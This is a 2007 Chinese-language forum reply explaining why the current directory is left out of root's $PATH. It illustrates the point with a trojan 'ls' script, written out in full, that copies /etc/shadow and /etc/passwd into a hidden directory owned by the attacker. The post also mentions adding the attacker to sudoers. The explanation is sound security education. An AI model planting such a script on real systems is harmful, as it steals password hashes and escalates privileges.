|
楼主 |
发表于 2007-12-13 14:31:07
|
显示全部楼层
Post by dddddrrrr;1784755
"因为由于安全的因素[译者注:如果你感兴趣的话,其中一个安全漏洞可在LinuxSir的Shell版中我发的一篇帖子里找到]当前目录默认不加入到用户的$PATH.变量中。"
我想查看该帖,能否给出一个确切地址,我搜索不到
-__-
谢谢!
链接我也找不到了。。。在这儿简单说一下吧。
这个漏洞其实很老也很简单,如果是root把当前目录.加到PATH环境变量的开头,
像这样:PATH=.PATH,因为SHELL寻找命令所在的目录时,按PATH变量值中以:分割的各个目录中依次寻找命令。上面这样设置时会使当前目录的优先级最高。
现在有一个恶意用户a,家目录是/home/a,在他的家目录下写了一个脚本,类似像下面的:
- #!/bin/bash
- mkdir /home/a/.hidden >/dev/null 2>&1
- cp /etc/shadow /etc/passwd /home/a/.hidden >/dev/null 2>&1
- chown -R a.a /home/a/.hidden >/dev/null 2>&1
- /bin/ls
复制代码
命名为ls
这样,当ROOT某天在进入a用户的家目录做常规检查时,习惯性的输入ls时,执行的是恶意用户a的脚本,不是/bin/ls,a用户就这样窃取了密码文件。
当然恶意用户目的不一定是窃取密码文件,也可能是做在sudo的配置文件中加入自己为超级用户之类的坏事。 |
|